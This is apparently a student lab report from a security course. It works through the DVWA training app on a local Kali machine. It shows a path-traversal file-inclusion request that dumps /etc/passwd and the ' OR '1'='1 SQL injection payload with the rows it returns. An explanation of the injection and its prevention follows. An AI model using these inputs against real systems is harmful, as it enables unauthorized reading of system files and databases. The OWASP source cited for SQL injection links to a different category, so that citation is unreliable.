

Abdullrahman Alghanim

Lab 8 Database Hacking

CIS 4204

03/15/2025



```
kali@kali: ~
File Actions Edit View Help

DVWA
INSTALLER

Welcome to the DVWA setup!
Script Name: Install-DVWA.sh
Author: IamCarron
Github Repo: https://github.com/IamCarron/DVWA-Script
Installer Version: 1.0.5

Updating repositories ...
Get:1 http://kali.download/kali kali-rolling InRelease [41.5 kB]
```

Setup Check

General

Operating system: ***nix**

DVWA version:

- Git reference: **cc86a34f2a53a81853538acbcafa5200e2bcae52**
- Date: **Wed Mar 5 14:53:11 2025 +0000**

reCAPTCHA key: **Missing**

Writable folder /var/www/html/DVWA/hackable/uploads/: **Yes**

Writable folder /var/www/html/DVWA/config: **Yes**

Apache

Web Server SERVER_NAME: **localhost**

mod_rewrite: **Not Enabled**

mod_rewrite is required for the AP labs.

PHP

PHP version: **8.4.4**

PHP function display_errors: **Enabled**

PHP function display_startup_errors: **Enabled**

PHP function allow_url_include: **Enabled**

PHP function allow_url_fopen: **Enabled**

PHP module gd: **Installed**

PHP module mysql: **Installed**

PHP module pdo_mysql: **Installed**

Database

PHP module mysql: **installed**
PHP module pdo_mysql: **installed**

Kali NetHunter
<https://www.kali.org/kali-nethunter/>

Database password: *****
Database database: **dvwa**
Database host: **127.0.0.1**
Database port: **3306**

API

This section is only important if you want to use the API module.

Vendor files installed: **Not Installed**

For information on how to install these, see the [README](#).

Status in red, indicate there will be an issue when trying to complete some modules.

If you see disabled on either `allow_url_fopen` or `allow_url_include`, set the following in your php.ini file and restart Apache.

`allow_url_fopen = On`
`allow_url_include = On`

These are only required for the file inclusion labs so unless you want to play with those, you can ignore them.

Create / Reset Database

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

XSS (Stored)

Welcome to Damn Vulnerable Web Application!

Damn Vulnerable Web Application (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goal is to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and to aid both students & teachers to learn about web application security in a controlled class room environment.

The aim of DVWA is to **practice some of the most common web vulnerabilities**, with **various levels of difficulty**, with a simple straightforward interface.

General Instructions

It is up to the user how they approach DVWA. Either by working through every module at a fixed level, or selecting any module and working up to reach the highest level they can before moving onto the next one. There is not a fixed object to complete a module; however users should feel that they have successfully exploited the system as best as they possible could by using that particular vulnerability.

Please note, there are **both documented and undocumented vulnerabilities** with this software. This is intentional. You are encouraged to try and discover as many issues as possible.

There is a help button at the bottom of each page, which allows you to view hints & tips for that vulnerability. There are also additional links for further background reading, which relates to that security issue.

WARNING!

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

DVWA Security

Security Level

Security level is currently: **low**.

You can set the security level to low, medium, high or impossible. The security level changes the vulnerability level of DVWA:

1. Low - This security level is completely vulnerable and **has no security measures at all**. It's use is to be as an example of how web application vulnerabilities manifest through bad coding practices and to serve as a platform to teach or learn basic exploitation techniques.
2. Medium - This setting is mainly to give an example to the user of **bad security practices**, where the developer has tried but failed to secure an application. It also acts as a challenge to users to refine their exploitation techniques.
3. High - This option is an extension to the medium difficulty, with a mixture of **harder or alternative bad practices** to attempt to secure the code. The vulnerability may not allow the same extent of the exploitation, similar in various Capture The Flags (CTFs) competitions.
4. Impossible - This level should be **secure against all vulnerabilities**. It is used to compare the vulnerable source code to the secure source code.

Prior to DVWA v1.9, this level was known as 'high'.

Low

Submit

localhost/DVWA/vulnerabilities/fi/?page=../../../../../../etc/passwd

Kali Linux

Kali Tools

Kali Docs

Kali Forums

Kali NetHunter

Exploit-DB


Google Hacking DB

OffSec

```

t:/root:/usr/bin/zsh daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/
an:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/
-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mail List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534:/nonexistent:/usr/sbin/
rdy:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-networkd:x:998:998:systemd Network Management:/usr/sbin/nologin dhcpcd:x:100:65534:DHCP Client Daemon,/usr/lib/dhcpcd/bin/false systemd-timesyncd:x:992:992:systemd
onization:/usr/sbin/nologin messagebus:x:101:102:/nonexistent:/usr/sbin/nologin tss:x:102:104:TPM software stack,/usr/lib/tpm/bin/false strongswan:x:103:65534:/usr/lib/strongswan:/usr/sbin/nologin tcpdump:x:104:105:/nonexistent:/usr/
sshd:x:105:65534:/run/sshd:/usr/sbin/nologin dnsmasq:x:999:65534:dnsmasq:/var/lib/misc:/usr/sbin/nologin avahi:x:106:108:Avahi mDNS daemon,/usr/lib/avahi-daemon:/usr/sbin/nologin nm-openvpn:x:107:109:NetworkManager OpenVPN,/var/
hroot:/usr/sbin/nologin speech-dispatcher:x:108:29:Speech Dispatcher,/usr/lib/speech-dispatcher/bin/false usbmuxd:x:109:46:usbmuxd daemon,/usr/lib/usbmuxd:/usr/sbin/nologin pulse:x:110:110:PulseAudio daemon,/usr/lib/pulse:/usr/sbin/nologin
nect:x:111:113:NetworkManager OpenConnect plugin,/usr/lib/NetworkManager:/usr/sbin/nologin lightdm:x:112:114:Light Display Manager:/usr/lib/lightdm/bin/false saned:x:113:116:/usr/lib/saned:/usr/sbin/nologin polkitd:x:991:991:User for
bin/false rtkit:x:114:117:RealtimeKit,/usr/lib/rtkit:/usr/sbin/nologin colord:x:115:118:colord colour management daemon,/usr/lib/colord:/usr/sbin/nologin galera:x:116:65534:/nonexistent:/usr/sbin/nologin mysqld:x:117:120:MariaDB Server,/
23:/nonexistent:/usr/sbin/nologin httpsd:x:122:126:/nonexistent:/usr/sbin/nologin cups-pk-helper:x:123:127:user for cups-pk-helper service,/usr/lib/cups-pk-helper:/usr/sbin/nologin redsocks:x:124:128:/var/run/redsocks:/usr/sbin/nologin
25:130:/usr/lib/gophish:/usr/sbin/nologin iodine:x:126:65534:/run/iodine:/usr/sbin/nologin miredo:x:127:65534:/var/run/miredo:/usr/sbin/nologin statd:x:128:65534:/usr/lib/ntfs:/usr/sbin/nologin redis:x:129:131:/usr/lib/redis:/usr/sbin/nologin
30:132:PostgreSQL administrator,/usr/lib/postgresql/bin/bash mosquito:x:131:133:/usr/lib/mosquitto:/usr/sbin/nologin inetutils:x:132:134:/usr/lib/inetutils:/usr/sbin/nologin _gvm:x:133:136:/usr/lib/openscap:/usr/sbin/nologin kali:x:1000:1000,/
sr/bin/zsh

```



Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

localhost/DVWA/vulnerabilities/fi/?page=../../../../../../etc/apache2/ports.conf

Kali Linux

Kali Tools

Kali Docs

Kali Forums

Kali NetHunter

Exploit-DB

Google Hacking DB

OffSec

```

Warning: include(/../../../../../../etc/apache2/ports.conf): Failed to open stream: No such file or directory in /var/www/html/DVWA/vulnerabilities/fi/index.php on line 36
Warning: include(): Failed opening '/../../../../../../etc/apache2/ports.conf' for inclusion (include_path='/usr/share/php') in /var/www/html/DVWA/vulnerabilities/fi/index.php on line 36

```

The ports that are configured are a great amount and you can see the difference between the two photos and how much of a difference in the ports there is

Home

Instructions

Setup / Reset DB

Brute Force

Command Injection

CSRF

File Inclusion

File Upload

Insecure CAPTCHA

SQL Injection

SQL Injection (Blind)

Weak Session IDs

XSS (DOM)

XSS (Reflected)

Vulnerability: SQL Injection

User ID:

ID: ' OR '1'='1
First name: admin
Surname: admin

ID: ' OR '1'='1
First name: Gordon
Surname: Brown

ID: ' OR '1'='1
First name: Hack
Surname: Me

ID: ' OR '1'='1
First name: Pablo
Surname: Picasso

ID: ' OR '1'='1
First name: Bob
Surname: Smith

The reason 'OR '1'='1 is effective in an SQL injection attack lies in how it manipulates the logic of a database query. When user input is not properly sanitized, attackers can insert specially crafted strings that alter the intended behavior of a SQL statement. The phrase 'OR '1'='1 is a classic example that forces a conditional statement to always evaluate as true. By doing this, an attacker can potentially bypass login credentials or access data they are not authorized to see. The expression '1'='1 is always true, so when it is injected into a query, it tricks the database into thinking the condition has been met, even if the user provides incorrect information.

This form of attack is known as SQL injection and is considered one of the most dangerous vulnerabilities in web applications. According to the Open Web Application Security Project (OWASP), SQL injection is consistently ranked among the top security threats due to its simplicity and severe impact. The MITRE Corporation also classifies this issue under CWE-89, which refers to improper neutralization of special elements used in SQL commands. The attack works because the application fails to distinguish between user data and command syntax, allowing input to interfere with how the query operates. To prevent this, developers are encouraged to use secure coding practices such as parameterized queries and input validation.

Sources:

- OWASP. (2023). *SQL Injection*. Retrieved from https://owasp.org/Top10/A01_2021-Broken_Access_Control/

- MITRE. (2023). *CWE-89: Improper Neutralization of Special Elements used in an SQL Command*. Retrieved from <https://cwe.mitre.org/data/definitions/89.html>